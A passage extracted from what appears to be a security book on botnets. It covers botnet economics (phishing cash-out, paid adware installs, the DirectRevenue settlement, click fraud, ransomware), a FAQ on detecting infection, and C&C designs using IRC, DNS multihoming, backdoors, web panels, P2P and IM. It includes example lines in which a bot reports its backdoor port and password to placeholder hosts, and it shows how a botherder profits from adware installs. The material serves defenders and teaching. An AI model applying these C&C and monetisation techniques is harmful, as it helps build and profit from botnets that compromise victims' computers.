per\naccount.The casher’s commission of this transaction may run as much as 70\npercent. When the deal calls for commissions to be paid in cash, the vehicle of\nchoice is Western Union.\nThe continuation of phishing attacks depends largely on the ability of the\ncasher’s to convert the information into cash.The preferred method is to use\nthe credential information to create duplicate ATM cards and use the cards to\nwithdraw cash from ATM terminals. Not surprisingly the demand for these\ncards leans heavily in favor of banks that provide inadequate protections of\nthe ATM cards. Institutions like Bank of America are almost nonexistent in\nthe phisher marketplace due to the strong encryption (triple DES) used to\nprotect information on its ATM cards.\nAdware Installation and Clicks4Hire Schemes \nDollar-Revenue and GimmyCash are two companies that have paid for instal-\nlation of their Adware programs. Each has a pay rate formula based on the\ncountry of installation. Dollar-Revenue pays 30 cents for installing their\nadware in a U.S. Web site, 20 cents for a Canadian Web site, 10 cents for a\nU.K. Web site, 1 cent for a Chinese Web site, and 2 cents for all other Web\nsites. GimmyCash.com pays 40 cents for U.S. and Canadian Web site installs,\n20 cents for 16 European countries, and 2 cents for everywhere else. In \nwww.syngress.com\nBotnets Overview • Chapter 2\n63\n" }, { "page_number": 82, "text": "addition, GimmyCash pays 5 percent of the webmaster’s earnings that you\nrefer to GimmyCash.\nBefore the New York and California class action lawsuits against\nDirectRevenue, the Washington Post profiled the life of a botherder that called\nhimself 0x80. In the article,“Invasion of the Computer Snatchers,” written by\nBrian Krebs (www.washingtonpost.com/wp-dyn/content/article/\n2006/02/14/AR2006021401342.html ), Krebs says that 0x80 earned between\n$6,000 and $10,000 a month installing adware. Not bad for a high school\ndropout from Roland, Oklahoma.That works out to about $300 a day, if he\nworks only on weekdays. If he installed GimmeCash adware on U.S. and\nCanadian computers it would take 750 computers to make that amount. If\nyou have 10,000 clients in your botnet you can see the opportunity. In addi-\ntion, you would add a variable amount of profit related to the 5 percent you\nearn on any sales that come from the ads. When that runs dry, you can start\nover with the next adware vendor.All the while you could be adding more\nbotclients to the net.\nProposed Settlement of the \nDirectRevenue California Class Action Lawsuit\nHere is a summary of the proposed settlement of California’s class action law-\nsuit against DirectRevenue. Under the settlement, DirectRevenue will be\nrequired to conform to the following business practices, among others, con-\ncerning its Software (as that term is defined in the Agreement).The following\nexcerpt from this settlement was taken from Case No.: 05-CV-02547-LKK-\nPAN (JFM) filed in United States District Court, Eastern District of\nCalifornia (http://classactiondefense.jmbm.com/\nbattagliaclassactiondefense_fao.pdf).\na. Direct Revenue will not intentionally collect any person-\nally identifiable information\n(name, address, phone number, social security number, \ne-mail address, bank account information, etc.) about \ncomputer users.\nwww.syngress.com\n64\nChapter 2 • Botnets Overview\n" }, { "page_number": 83, "text": "b. Direct Revenue will assure that, prior to the installation\nof the Software, computer users are (a) provided with\nDirect Revenue’s End User License Agreement (“EULA”),\nand (b) given two choices, of equal prominence within the\nmodal box or landing page, to the effect of:\n“I have read and accept the agreement” or\n“I do not accept the terms of the agreement”\nThe “accept” option will not be a default option. If the\nuser selects the “I do not accept” choice, the Software will\nnot be installed.\nAn example of an acceptable disclosure is attached hereto\nas Exhibit A.\nc. In addition to providing computer operators with its\nEULA, Direct Revenue will also disclose, separate and apart\nfrom the EULA, that: (1) users will receive advertisements\nwhile online, along with a brief description of the types of\nads that will be displayed; (2) Direct Revenue will collect\ninformation about web sites visited by users; and (3) the\nSoftware will be included in their installation of the adsup-\nported software. This disclosure will be independently dis-\nplayed within the modal box containing the “I have read\nand accept” and “I do no accept” choices described above.\nThe additional disclosures shall appear above the choices\ndescribed in subparagraph b, above, but will end no more\nthan one inch away from those choices.\nd. Direct Revenue, will not install Software via ActiveX\ninstallations, or by any other method that does not require\nusers’ affirmative consent.\ne. Direct Revenue will not install Software via computer\nsecurity exploits.\nwww.syngress.com\nBotnets Overview • Chapter 2\n65\n" }, { "page_number": 84, "text": "f. In Direct Revenue’s EULA, Direct Revenue will disclose the\nfact that the Software serves pop-up ads based on web\nsites visited by the user, and that Direct Revenue collects\nnon-personally identifiable information, in order to serve\nthose ads. The EULA will explain Direct Revenue’s use of\nthe non-personally identifiable information. The EULA will\nalso notify users as to how the Software can be uninstalled,\nand will provide information on how to access Direct\nRevenue’s website and customer support.\ng. In distribution contracts executed following the parties\nexecution of this settlement agreement, DirectRevenue will\nrequire distributors to abide by the policies represented in\nthis settlement. DirectRevenue will closely police its distrib-\nutors. If DirectRevenue learns that a distributor is violating\nthe terms of its distribution contract, Direct Revenue will\ntake appropriate action based on the circumstances of the\nviolation, potentially including termination of the \ndistributor.\nh. Distributors will not be permitted to use sub-distributors\nunless those entities are bound by contract to adhere to\nthe policies represented herein.\ni. DirectRevenue will not distribute the Software via web\nsites that in DirectRevenue’s good faith belief are targeted\nprimarily at children. The EULA will include a disclosure\nthat the Software should only be installed by users 18 years\nof age and older, and instructions (or a reference link to\nsuch instructions) on how to manage the user’s operating\nsystem to minimize the possibility that children will be\nserved with ads by the Software. Direct Revenue will dis-\nclose to Net Nanny (and similar services) the IP address of\nany server sending adult content ads through the Software.\nj. DirectRevenue will not use the word “free” in banner ads\ndescribing the underlying program (i.e., the screen saver or\nvideo game) unless the ad also discloses that the\nwww.syngress.com\n66\nChapter 2 • Botnets Overview\n" }, { "page_number": 85, "text": "program is ad-supported.\nk. When the Software displays a pop-up ad, the “X” button\non the title bar of the ad window (used to close the ad\nwindow) will not appear off-screen, unless this effect is\ncaused by a technical issue without DirectRevenue’s knowl-\nedge or beyond DirectRevenue’s, control.\nl. All DirectRevenue ads will include a “?” button on the\ntitle bar, or a text link indicating that further information is\navailable, which displays information about the Software\nwhen clicked. This information will include (1) an explana-\ntion of why the user is receiving the ad; (2) the identity of\nthe consumer application the user downloaded with the\nSoftware (when and to the extent this is technically fea-\nsible); and (3) an instruction that, if the user so desires, the\nuser can uninstall the Software using the Windows\n“Add/Remove Programs” function.\nm. The Software will not display adult content ads unless\nthe user is viewing adult websites. DirectRevenue will dis-\nclose to Net Nanny (and similar services) the IP address of\nany server sending adult content ads through the Software.\nn. The Software will be listed in the Windows\n“Add/Remove Programs” list under the exact same name\nused in branding the ads.\no. DirectRevenue will not modify security settings on users’\ncomputers.\np. DirectRevenue will not reinstall its Software once a user\nhas uninstalled it through the Windows “Add/Remove\nPrograms” function or other removal method, unless the\nuser later opts to download and install another bundled\napplication and the installation proceeds in accordance\nwith the terms herein.\nwww.syngress.com\nBotnets Overview • Chapter 2\n67\n" }, { "page_number": 86, "text": "q. DirectRevenue will not delete other software on the\nuser’s computer other than any underlying program (e.g.\nscreensaver) that was bundled with the Software upon the\nuser’s removal of the Software.\nr. DirectRevenue will not materially modify the Software’s\nfunctionality without providing the user with notice and an\nopportunity to uninstall the Software.\ns. DirectRevenue will agree to limit its advertisements to a\nnetwork average of 10 or less per computer per 24-hour\nperiod.\nt. DirectRevenue agrees that its removal instructions shall\ncontinue to be posted in a form in substantial conformity\nwith that currently found at: http://www.bestoffersnet-\nworks.com/uninstall/.\nu. DirectRevenue will limit its number of name changes\nused on its advertisements (i.e., “Best Offers”) to once per\ntwo years.\nv. DirectRevenue will agree to purchase sponsored links, if\nGoogle is willing to sell such sponsored links, that provide\nlinks to help consumers remove DirectRevenue’s software.\nAt a minimum, DirectRevenue will agree to purchase links,\nif Google is willing to sell such sponsored links, for\n“BestOffers” and “BestOffers removal”. By clicking on the\nsponsored link, the user will be taken to an Internet page\nwith instructions on how to remove the Software. Should\nDirectRevenue change the name of its software, it will pur-\nchase sponsored links with the new name of the Software\nreferenced.\nw. DirectRevenue will not “flush” or otherwise remove\ndomain names from browser’s list of “trusted sites”.\nThe current trend of State’s Attorney Generals suing adware companies\nthat support this industry should have an impact on this threat in the long\nrun. With the attention received from the lawsuits and public scrutiny raised\nwww.syngress.com\n68\nChapter 2 • Botnets Overview\n" }, { "page_number": 87, "text": "by Security activist Ben Edelman, major adware/spyware companies are in\nretreat. DirectRevenue is down to a couple of dozen employees and has lost\nmany of their largest accounts.\nThe botherder is well positioned to conduct click fraud attacks against\nadvertisers and adware companies that pay commissions for affiliates to drive\ncustomers to advertising clients’ Web sites. Business offerings like the Google\nAdsense program do not advertise their algorithm for paying click commis-\nsions but they do pay, or actually, Google advertising customers have the\noption of paying, for this service. Google employs an algorithm to try to\ndetect click fraud. Google tells its customers that they are not charged for\nfraudulent clicks but there is no way to gauge the effectiveness of their fraud\ndetection efforts.\nRansomware\nIn an online article titled “Script Kiddies Killing The Margins In Online\nExtortion,” published in the online magazine TechDirt Corporate Intelligence\n(www.techdirt.com), the author (who goes by Mike) claims that the going\nrate to decrypt online ransoms of files has been between $50 and$100.The\nZippo ransomware Trojan demanded $300 be paid to an e-gold account for\nthe password to decrypt ransomed files.The codebreakers at Sophos deter-\nmined the password was:\nC:\\Program Files\\Microsoft Visual Studio\\VC98\nThe Arhiveus ransomware Trojan encrypts all of the files in the My\nDocuments folder with a 30-character password. Sophos has determined this\npassword to be:\nmf2lro8sw03ufvnsq034jfowr18f3cszc20vmw \nWithout the password, victims were forced to make a purchase from one of\nthree online drug stores.\nThe Ransom A Trojan is a budget ransomware package. It encrypts the\nuser’s data, and then instructs the user to wire $10.99 to a Western Union\nCIDN. Once the CIDN number is entered in the ransomware, the software\npromises to remove itself and restore access to the data.\nwww.syngress.com\nBotnets Overview • Chapter 2\n69\n" }, { "page_number": 88, "text": "Summary\nWith botnets, hackers called botherders are able to wield thousands of com-\nputers to do their will. By using a command interpreter to execute a common\nset of commands, a botherder is able to coordinate and manage these thousands.\nThe botclients are not viruses, per se.They are, instead, a collection of software\nthat is being put to malicious use.The software can include viruses,Trojan back-\ndoors and remote controls, hacker tools such as tools to hide from the operating\nsystem, as well as nonmalicious tools that are useful.The fact that the botherder\ndoes not actually touch the computer that performs the illegal acts is a model\nthat has been used by organized crime for years.\nBotclients operate in a regular cycle that can be characterized as a life\ncycle. Understanding the life cycle in Figure 2.1 will help both investigators\nand researchers in finding ways to discover, defend against, and reduce the\nthreat of botnet technology.\nSimilarly, studying the economics behind each of the botnet payload types\ncan reveal strategy and tactics that can be used against the problem.\nParticularly, finding ways to reduce the demand element could result in less\nuse of botnets in whole classes of behavior.\nSolutions Fast Track\nWhat Is a Botnet?\n\u0002 A botnet consists of at least one bot server or controller and one or\nmore botclients, usually in the many thousands.\n\u0002 The heart of each botclient is a command interpreter that is able to\nindependently retrieve commands and carry them out.\n\u0002 The ability of the botnet to act in a coordinated fashion with all or\nsome parts of the botnet is fundamental to the botnet concept.\n\u0002 Botnets are not a virus in the traditional sense of the word. Rather\nthey are a collection of software (some viruses, some malicious code,\nsome not) put together for malicious purposes.\nwww.syngress.com\n70\nChapter 2 • Botnets Overview\n" }, { "page_number": 89, "text": "\u0002 Botnets are managed by a botherder.\n\u0002 Hackers are attracted to botnets because botnet clients carry out their\norders on computers that are at least two computers removed from\nany computer directly connected to them.This makes investigation\nand prosecution more difficult.\nThe Botnet Life Cycle\n\u0002 The life of a botclient can be described as a life cycle. Steps 5\nthrough 8 are iterative and are repeated until the command to\nabandon the client is given.\n1\nComputer exploited and becomes a botclient.\n2\nNew botclient rallies to let botherder know he’s joined the botnet.\n3\nRetrieve the latest Anti-A/V module.\n4\nSecure the new botclient from A/V, user detection, and other hacker\nintervention.\n5\nListen or subscribe to the C&C Server/Peer for commands.\n6\nRetrieve the payloads modules.\n7\nExecute the commands.\n8\nReport results back to the C&C server.\n9\nOn command, erase all evidence and abandon the client.\nWhat Does a Botnet Do? \n\u0002 Botnets can do anything a single computer or network of computers\nis capable of doing. Botnets advertise their availability on IRC\nchannels and other places and sell all or portions for others to use.\n\u0002 Here are the most commonly reported uses of botnets:\n■\nRecruit other botclients (sniffing for passwords, scanning for vulner-\nable systems).\n■\nConduct DDoS attacks.\n■\nHarvest identity information and financial credentials.\nwww.syngress.com\nBotnets Overview • Chapter 2\n71\n" }, { "page_number": 90, "text": "■\nConduct spamming campaigns.\n■\nConduct phishing campaigns.\n■\nScam adware companies.\n■\nInstall adware for pay without the permission of the user.\n■\nConduct Clicks4Hire campaigns.\n■\nStore and distribute stolen or illegal intellectual property (movies,\ngames, etc.).\n■\nAnalysis of the various attack taxonomies, such as that performed by\nFinancial Services Technology Consortium (FSTC), can reveal valu-\nable strategic and tactical information about how to respond to these\nthreats.\nBotnet Economics\n\u0002 The big news in 2006 was the announcement of the discovery of\nevidence for the long-suspected ties between botnet/spam/phishing\nactivity and organized crime.\n\u0002 With spammers making as much as $750,000 a month it is no\nwonder that there is such a demand for botnets that spam. It is the\nglobal reach and economy of scale of the botnet that makes this\nmarket possible.\n\u0002 Adware/spyware companies created a marketplace for unscrupulous\nbotherders to install adware/spyware on thousands of computers for\npay.\n\u0002 Companies that seek to drive qualified customers to their Web sites\nhave created another market.This market takes the form of\nadvertising programs that pay for ads on Web sites that pay affiliates\neach time a potential customer clicks on ads on the affiliate’s Web\nsite. Botherders saw an opportunity in the form of thousands of\nbotclients sitting idle that could be orchestrated to simulate random\ncustomers across the Internet.\nwww.syngress.com\n72\nChapter 2 • Botnets Overview\n" }, { "page_number": 91, "text": "\u0002 The demand for free or cheap movies, software, games, and other\nintellectual property and law enforcement’s confiscation of computer\nequipment engaged in the commission of major thefts of these\ncommodities has created another opportunity for the botherders.\nBotnets are being used to store an amazing amount of stolen\nproperty on their botclients. With hard drive capacities growing, the\nbotherders are finding that they can snag 20G or 30G of hard drive\nspace from most of their clients without the user noticing.This type\nof venture yields either cash, services, or other stolen intellectual\nproperty.\n\u0002 Botherders recognized that some of their client’s owners might pay if\ncertain data were held for ransom.A group of ransomware Trojans\nhave been used to encrypt all of the user’s files.The botherder then\nhas the victim pay by e-Gold, Western Union, or the old fashion way\nby making purchases from designated online stores. Ransoms ranged\nfrom the budget-minded $10.99 to $300 for the Zippo ransomware\nTrojan.\nQ: How do I know if my computer is part of a botnet?\nA: If you are part of a company or organization, you will likely learn that\nyour computer is part of a botnet from either network administrators,\nsystem administrators, or your information security organization. It is diffi-\ncult for an individual to know for sure. Here are some signs to look for.\nNot all signs will be present in all cases and the presence of these signs\ncould also be explained by other phenomena.\nwww.syngress.com\nBotnets Overview • Chapter 2\n73\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 92, "text": "■\nAt times your computer may run significantly slower than normal.\nUnfortunately this is commonly due to AV software searching for\nvarious forms of malware, including botnet clients.\n■\nThe network activity light on your DSL modem or NIC card may\nflash rapidly during a time when you aren’t doing anything that you\nbelieve would cause network traffic.\n■\nYour antivirus program may shut off by itself.\n■\nIf it’s still running, your antivirus program may detect several types of\nmalicious code at one time.The names given to the viruses may indi-\ncate parts of a botclient’s functionality like hide windows, backdoor,\nand so on.\n■\nYour Windows XP firewall log, which may be called pfirewall.log if a\ndomain policy hasn’t picked another standard, is located in the\nWindows or WINNT directory. Examine any Inbound Open source\nIP addresses and destination ports for a rational explanation. If you\nhave access to lists of Command and Control servers, any traffic to a\nknown C&C server should be considered a big clue.\n■\nRun TCPView from www.systeminternals.com. Examine all of the\nnetwork connections and the processes that are associated with them.\nAny unknown processes or unfamiliar connection IP addresses should\nbe investigated.\n■\nRun Process Explorer from www.systeminternals.com. Examine the\nprocesses to see if any processes are running that don’t normally run\non your computer. Right-click to be able to select Verify. If the\nvendor is unable to verify the process, you can click on Google on\nthe same menu. Using Google you can see if anyone else has\nreported bad things about the process. One problem with this\napproach is that hackers may replace known good executables with\nmalware and reuse the good software’s name.\n■\nCheck the security event log for login failure for network type 3\nwhere the workstation name does not match the local computer\nname.This would be a sign of a password guessing attack, particularly\nwww.syngress.com\n74\nChapter 2 • Botnets Overview\n" }, { "page_number": 93, "text": "if there is no reason for other workstations to log in to your com-\nputer.\nQ: How do botnets use IRC for Command and Control?\nA: When recruited, botclients are instructed to subscribe to an IRC server,\non a specific channel. Each channel has several different topics.The IRC\nchannel topics contain bot commands. Some versions of botnets use mul-\ntiple channels for different functions.The main channel topic may direct\nthe botclient to go to a string of additional channels. Each channel’s topic\ncontains the commands that the botclient will carry out. Each botclient\nhas a command interpreter that understands the command strings found\nin the channel topic names. It is this command interpreter that makes a\nbot a bot. It’s also easy to see how other technologies could be used for\nthe Command and Control function.There is much more on this topic in\nChapter 8.\nQ: Why do botherders do these terrible things?\nA: The easy answer is for money and power. I believe that a large part of the\nproblem is that we, as a society, do not teach ethics and responsibility\nwhen kids learn about computers and the power of the Internet. On the\nother side of the equation, academia, business, and industry continue to\nunderfund security and produce products and services with inadequate\nsecurity.The Organization of Economically Cooperating Democracies\n(OECD) says that the world needs to create a culture of security.\nUnfortunately academia, business, and industry want to continue to\nbelieve that it is okay to deliver functionality first and add security later, if\nthe market demands it. Only later never comes or when the market does\ndemand it, the retrofit is very expensive or is only a band-aid. Our current\nculture makes it very easy for an unethical hacker to turn our security\nfailings to their financial advantage.\nwww.syngress.com\nBotnets Overview • Chapter 2\n75\n" }, { "page_number": 94, "text": "" }, { "page_number": 95, "text": "Alternative \nBotnet C&Cs\nSolutions in this chapter:\n■\nHistorical C&C Technology as a Road Map\n■\nDNS and C&C Technology\nChapter 3\n77\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 96, "text": "Introduction: Why Are \nThere Alternative C&Cs?\nBefore discussing alternative botnet command and control (C&C) technology,\nits advances over the years, and the latest in both operational and technolog-\nical innovation, we need to ask ourselves: why create alternative technology\nwhen good, old IRC usage is still valid, useful, and moreover, better than\nmost new approaches?\nFor over a decade, botnet technology has been based on IRC. Meaning,\nthe Trojan horses acting as bots would use the IRC protocol to connect as\nclients to IRC servers.These servers would then be the means by which the\nbotnet controller (also known in recent years as botnet master or herder)\nwould control the army.\nIRC technology is robust and has been around for a long time, but there\nare several key issues that make it last longer than most other technologies\nwhen used for botnet C&Cs:\n■\nIt’s interactive: While being a relatively simple protocol, IRC is inter-\nactive and allows for easy full-duplex and responsive communication\nbetween both sides (client and server).\n■\nIt’s easy to create: Building an IRC server is very easy, and there are\nenough established servers to use if necessary.\n■\nIt’s easy to create and control several botnets using one server: Using\nfunctionality such as nicknames and chat channels, password pro-\ntecting channels, etc.\n■\nIt’s easy to create redundancy: By linking several servers, redundancy\nis achieved.\nIRC has proven itself many times over, but it also has an Achilles’ heel—it\nis centralized. By definition, a botnet is an army of compromised computers\nreporting to receive commands from a central location.That very same central\nlocation (or locations), if discovered, could be interrupted. It could be\nreported to the authority hosting it (in all likelihood, unwillingly) and it\ncould get blocked or null-routed by ISPs.There are people out there from the\nauthorities to volunteer botnet hunters who do this daily: find a C&C server\nwww.syngress.com\n78\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 97, "text": "and file a complaint to the ISP.Although often this is all they do, these C&C\nservers are also susceptible to eavesdropping. For example, when sitting on the\nIRC chat channel that the bots in a particular botnet connect to, one could\npotentially listen in on the commands given by the botnet controller, and per-\nhaps even emulate him.\nThis is dangerous to the botnet controller, because he’d like to maintain\ncontrol over his botnet and not risk it being taken over by a competing\nbotnet controller, or even disassembled (think of uploading a new file to each\nbot by issuing a download command on IRC, and that way destroying the\nbotnet.This is not exactly legal or ethical, but it is an example of what could\nbe done, which IRC makes easy).\nAs useful as IRC is to the people running botnets, there are some\ninherent threats for them. For a long time these threats were non-existent\nbeyond the theoretical realm, and later on not significant.Today, these threats\nhave become commonplace, forcing botnet controllers to adapt. IRC is still\nthe most commonplace form of a C&C server. It is slowly being comple-\nmented with obfuscation and security using alternative or more advanced\nC&C technologies, but while there are quite a few C&C servers running on\ndifferent protocols and applications, most of these are still IRC based.\nHistorical C&C \nTechnology as a Road Map\nLooking back to history and the most basic C&C mechanisms, we can estab-\nlish basic terminology, which will help us to determine the usefulness and\nrisks of newer technologies introduced later on.\nIn the beginning, bots and botnets indeed were legitimate tools used\nmainly for functional purposes, such as maintaining an IRC channel open\nwhen no user is logged in or maintaining control of the IRC channel.\nThe first botnets of the new age of Trojan horses (Trojan horses have\nbeen here for years, but became popular mass-infection devices in\n1996–1997). Controlling one compromised computer is easy. Controlling a\nthousand becomes a logistical nightmare. When an infection would happen,\nthe Trojan horse would phone home by connecting to an IRC server. Once\nlogged on to the server, the Trojan horse (now bot, more commonly referred\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n79\n" }, { "page_number": 98, "text": "to back then as a drone) would seek to let its master know it was there.This\nwould most commonly be achieved by sending a private message to a logged\non user (the botnet controller) or by joining a chat channel.The bot would\nthen echo something such as:\n“Hi! I am here master! My IP is 127.0.0.1 and I am listening on port\n666!”\nThe nickname or chat channel would be the control channel, while the\nannouncement message sent would be the echo.\nAs the technology advanced, control channels became more sophisticated.\nAs an example, a chat channel would be used but it would be password pro-\ntected (a key would be set on IRC). Botnets became a menace. Mostly they\nwould be IRC based, and they would connect to public IRC networks.They\nwould mainly be used to attack users on IRC, on and off IRC (“flood” on\nIRC or distributed denial of service attack—DDoS—off IRC).The public\nnetworks needed this stopped.To that end, they would take over control\nchannel nicknames or chat channels and make sure the botnet controller\nwould not be able to use them.This caused the bad guys to change strategy\nand use private or compromised computers for their bot army, achieving a\nhigher level of security.\nAt this stage, folks would look for these private servers and try to listen in\nand disturb the botnet operations—snoop.This caused the bad guys to once\nagain escalate and start adding further security to their private servers as well\nto their bots (the Trojan horses):\n■\nThe servers would be made to not respond to IRC commands such\nas those showing any type of information that could be of use to a\nthird party. IRC nicknames would be made invisible when inside a\nchat channel other than to the botnet controller, etc. Whatever\nchanges were made, however, had to also still allow the bots them-\nselves to connect.\n■\nThe bots would be programmed with the password to the server\nand/or chat channel, etc. However, the botnet hunters would use the\nserver IP address, the channel name, and the password to snoop and\nmake like a bot, connecting to the server much like a bot would.\nSometimes, the bots would also be programmed to respond only to\ncertain nicknames, host names, and encrypted commands.\nwww.syngress.com\n80\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 99, "text": "From this point on it was a never-ending war of escalations—the botnet\nhunters looking to disturb the botnet operations and thus adapting to the\nlatest technology (reacting) and the botnets controller inventing new tech-\nnologies to maintain operations.\nDNS and C&C Technology\nFollowing from the use of private servers and passwords, C&C technology\ncontinued to develop.\nThe first technology to be introduced consisted of multiple IRC servers\ninterconnected (or linked) using the IRC server technology, rather than just\nstand-alone servers. IRC is built in a fashion that several servers can be inter-\nlinked to form a network of hubs, branches, and leaves. When you use this\ntechnology, the address of all servers are hard-coded into a bot, and it tries to\nconnect to each of the addresses. When a connection is made, the same IRC\nchannel can be entered (joined), where the botnet controller will be giving\ninstructions.\nBy itself, this technology would make it difficult for the botnet hunters to\ntake down the whole network, especially if new servers were introduced con-\nstantly.Yet, how were the bots to know where the new servers were, if they\nwere hard-coded with an address of servers that no longer existed? This tech-\nnology had its limits, introducing the use of DNS records (RRs) to the C&C\nrealm.\nBack then and up to about the year 2002, DNS was manifested in two\nmain uses: domain names and multihoming. Both of them were facilitated,\nfinding the botnet C&C, as well as keeping it alive on the Internet, before\nconnection to the actual C&C server.\nDomain Names\nBy using DNS, the bots were given a host address to connect to (such as a\nThird-Level Domain [3LD], a record for something like\nbotnet.example.com), which would point to the actual IP address of the\nC&C server, serving the very purpose DNS was built for. When a C&C\nserver on a certain IP address was no longer usable for whatever reason, a new\nIP address could replace it, while the bots still connected to the same address\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n81\n" }, { "page_number": 100, "text": "as always. In essence, although IRC was still the control channel, it was now a\nlot more robust.\nReporting, which results in a “takedown” for a DNS record, is often more\ndifficult than a compromised IP address. Several such RRs could be put in\nplace for the same IP address, or different ones, making the C&Cs much\nmore robust.\nbotnet1.example.com pointing to 127.0.0.1\nbotnet2.example.com pointing to 127.0.0.2\nbotnet3.example.com pointing to 127.0.0.2\nbotnet4.example2.net pointing to 127.0.0.2\nbotnet5.example3.net pointing to 127.0.0.3\nbotnet6.example6.net pointing to 127.0.0.1\nMultihoming\nMultihoming is a concept in network administration for when a DNS record\nhas several IP addresses.\nBy setting up one A record, which will point to several IP addresses, if one\nof these IP addresses is no longer available, the others are still responsive.\nbotnet1.example.com pointing to 127.0.0.1\nbotnet1.example.com pointing to 127.0.0.2\nbotnet1.example.com pointing to 127.0.0.3\nbotnet1.example.com pointing to 127.0.0.4\nbotnet1.example.com pointing to 127.0.0.5\nbotnet1.example.com pointing to 127.0.0.6\nBoth the introduction of domain names, as well as the use of multi-\nhoming, assisted the bad guys in creating more robust C&Cs, but once a\nserver is down, it is down, and needs to be replaced.The weak spot, however,\nmoved from being the IP address (the computer serving as the C&C) to the\nDNS record, which points to it.This technology facilitates better redundancy\nand robustness of the control channel; it is not limited to just IRC.\nAlternative Control Channels\nAlternative control channels are exactly as named, an alternative communica-\ntion channel by which to control a botnet.\nwww.syngress.com\n82\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 101, "text": "When the C&C server (or servers) is down, the botnet is effectively dead.\nThere is no way for the botnet controller to issue instructions or even know\nwhat bots are under his control. For that reason, if all else fails, the alternative\ncontrol channels are introduced.\nIn most bots, these are hard-coded as a backdoor, opening a TCP port on\nthe system, allowing for remote connection, which will give administrative\ncontrol of the compromised computer. Effectively, a different control interface\nfor the bot.A push from the botherder rather than a pull from the bot client.\nIn other cases, there are backup C&Cs in place, at times using a different\ncontrol channel altogether.That way, if communication is lost, the bot can\nreestablish communication with its master and be redirected—jumped, to a\nnew C&C server.\nIn one noteworthy case in late 2004 involving a large botnet, 350,000\nhosts strong, the C&C server was sinkholed (redirected and tapped by the\ngood guys) to an IP controlled by botnet hunters. In a matter of just a couple\nof days, most of these bots stopped connecting to the C&C. Presumably they\nwere jumped elsewhere.\nWeb-Based C&C Servers\nIRC may be the origin as well as the most-used type of C&C, but it is not\nthe only one, by far.The most commonly used C&C type after IRC is the\nWeb server.A Web-based C&C server does much the same as an IRC-based\nC&C server; the main difference is the control channel, which in this case is a\ndifferent protocol altogether.\nThere are two types of Web-based botnets: echo based and command\nbased.\nEcho-Based Botnets\nEcho-based means the bot would simply announce its existence to the C&C.\nThere are several ways of doing this with different volumes of data relayed.\n■\nConnect & forget\n■\nFile data\n■\nURL data\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n83\n" }, { "page_number": 102, "text": "Connect & Forget\nConnect & forget means that the bot would connect to the Web server and\nthat’s that.The botnet controller would need to collect these connections\nsomehow, usually by the means of a log file, to be able to view the IP\naddresses of the bots.\nIn some cases, Web counters (visit-count) services have been used for this\npurpose, rather than a specially created Web site, as another example.The\nbotnet controller would then connect to each and every one of these bots,\nmostly via a backdoor port that the Trojan horse opens.\nThere are some IRC-based botnets that run much the same way.The bot\nconnects to the IRC server and does nothing else. It is hidden to anyone but\nthe server administrators.\nFile Data\nAnother type of C&C similar to connect & forget botnets are Web servers\nthat host files with instructions for the bot, so that when it connects, it down-\nloads the new instructions. Instead of instructions, an executable can be placed\non the Web site. In that case, the bot will download it as an update to replace\nitself with, or as yet more malware to be installed on the compromised com-\nputer.\nURL Data\nIn some occasions, the bot would send a full URL to the Web server.That\nURL would contain information of importance to the botnet controller, such\nas the port of the backdoor software or the password required to access this\nspecific bot, both of which are randomly selected for each bot.\nA URL will look something like:\nhttp://botnet1.example.com/blah.txt?port=34556password=qwerty211\nThis URL will later be parsed for the relevant information, and the con-\ntroller will use it to connect to all the bots and give them instructions.\nCommand-Based Botnets\nWeb-based botnets that are command based are an addition to any other type\nof botnet, which helps the botnet controller manage the army.\nwww.syngress.com\n84\nChapter 3 • Alternative Botnet C&Cs\n" }, { "page_number": 103, "text": "These are GUI Web interfaces by which the botnet controller can issue\ninstructions, much like typing them on IRC, only it works in push mode\nrather than pull.The C&C connects to all the bots, rather than the bots con-\nnecting to it and awaiting instructions.\nFigure 3.1 is a screenshot of one of the very earliest command-based Web\nbotnets:\nFigure 3.1 Command-Based C&C GUI\nAs you can see, it enables the controller to do the following:\n■\nHave the bot download files from the Web.\n■\nUpload a file to the compromised computer.\n■\nGive the bot direct shell commands.\n■\nSave screenshots.\n■\nBlock URLs from surfing.\n■\nChange the hosts file, so that the user goes to malicious Web sites\ninstead of ones to which he intends to surf.\nSome later GUI C&Cs also enabled browsing of the botnet, choosing bots\nby country, ISP, bandwidth, and other options, and instructing them directly,\nwww.syngress.com\nAlternative Botnet C&Cs • Chapter 3\n85\n" }, { "page_number": 104, "text": "as well as gathering statistics. Consider this a Web service—a Web application\nto help run a botnet.\nP2P Botnets\nP2P (or peer-to-peer) has been discussed in botnet circles for a long time,\nboth by the good guys and the bad guys.\nThe first P2P botnet to be spotted was Sinit (aka Calyps.a or Calypso) in\n2003, by Joe Stewart at LURHQ (now SecureWorks). Later on,Agobot vari-\nants had a P2P option and Phatbot made the leap to P2P for real.\nSome more information on how Phatbot operates with P2P can be\nlocated at LURHQ (now SecureWorks): www.lurhq.com/phatbot.html.\nThis technology presented botnet controllers with both pros and cons. On\nthe plus side, the bots were decentralized and not reliant on one point of\nfailure. On the negative side, programming could potentially be injected from\nany peer in the botnet. Some solved this by introducing cryptographic keys,\nbut one could still study the bot itself and potentially discover the entire net-\nwork of bots.\nAnother type of P2P botnets are those that rely on a centralized location\nfor “tracking,” much like P2P networks.And indeed, for using one of the\npublic P2P networks, this has to be the case.The main problem with\nadvancing control channel technology over the years is that the more com-\nplex it is, the easier it becomes to track down the botnet. In P2P, this would\nbe especially true, as by being a simple peer you can discover other bots\nwithout taking any action.\nInstant Messaging (IM) C&Cs\nIn the past couple of years, the spread of worms over IM has become com-\nmonplace.The worms can then report to any C&C, on IRC or elsewhere.\nHowever, the use of IM accounts as echo control channels is seen in the wild.\nIn such a scenario, computers infected with a bot would communicate to\nthe said account over IM, whether using AIM,Yahoo!, ICQ, MSN, or any\nother network. Much the same as on 